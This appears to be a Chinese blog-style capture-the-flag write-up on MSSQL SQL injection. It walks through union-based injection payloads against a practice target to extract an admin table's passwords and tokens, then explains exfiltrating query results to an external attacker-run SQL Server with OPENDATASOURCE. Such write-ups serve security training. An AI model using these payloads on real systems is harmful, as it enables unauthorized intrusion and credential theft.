MSSSQL注入-反弹注入
知识梳理
- SQL注入原理:用户输入的数据可以被拼接到原有代码执行
- SQL注入基本流程:
- (1). 判断注入点,例:
数字型:id=1 and 1=1
页面正常id=1 and 1=2
页面不正常;
字符型:单双引号、括号闭合,观察页面是否正常;
使用sleep()观察页面是否存在延迟; - (2)猜解字段数,例:
and 1=2 order by 1,2,3
通过观察页面是否正常来确定字段数 - (3)查看显错点
and 1=2 union select 1,2,3
通过发现显错位置可以知道在哪里输出想要的信息 - (4)查询库名、表名、字段名、字段内容
可以通过查询系统自带库information_schema来获取想要的内容。
-查询库名union select 1,2,database()
-查询表名union select 1,2,table_name from information_schema.tables where table_schema = database()
-查询字段名union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查询字段内容union select 1,column1,column2 from table_name limit 0,1
group_concat可以将多行数据整合到一行输出union select 1,2,group_concat(flag) from TABLE_NAME
- 反弹注入原理
反弹注入就是利用SQL SERVER的opendatasource() 函数,来将查询结果发送到另一个外网服务器的SQL SERVER数据库中。
首先在自己用来接收查询结果的外网服务器中,搭建好SQL SERVER数据库的环境,然后建立一个具有管理权限的数据库账户
使用条件
能够堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句。
没有回显的注入,支持opendatasource函数
靶场演示(显错注入)
靶场地址
地址http://59.63.200.79:8015/?id=1
确认注入点
尝试闭合,页面正常存在注入点
判断字段数
' and 1=1 order by 3 --q
页面正常' and 1=1 order by 4 --q
页面报错
说明存在三个字段(其实可以直接看出来,走个流程)
判断显错位置
'and 1=1 union all select 1,2,3 --q
页面报错,说明不是MYSQL数据库,尝试使用空值构建语句'and 1=1 union all select null,null,null --q
页面正常
'and 1=1 union all select 1,'null','null' --q
页面正常说明2-3为字符串
查询表名
多次尝试发现数据库是MSSQL数据库
利用MSSQL自带表获取用户自建表'union all select id,name,'null'from sysobjects where xtype='U' --q
PS: xtype=U表示是用户创建的表,=S是系统表
查询字段名
'union all select null,name,null from dbo.syscolumns where id=1977058079 --q
得到四个字段id,passwd,token,usernanme;
查询字段内容
'union all select id,passwd,token from admin --q
得到flag: zkaq{e9c9e67c5}
反弹注入
登陆公网服务器
新建带有四个字段的表,需要和反弹的表字段数相同
用opendatasource函数进行反弹注入。OPENDATASOURCE(provider_name,init_string)
provider_name为用于访问数据源的OLE DB 提供程序的PROGID的名称
init_string为连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
- 点赞
- 收藏
- 关注作者
评论(0)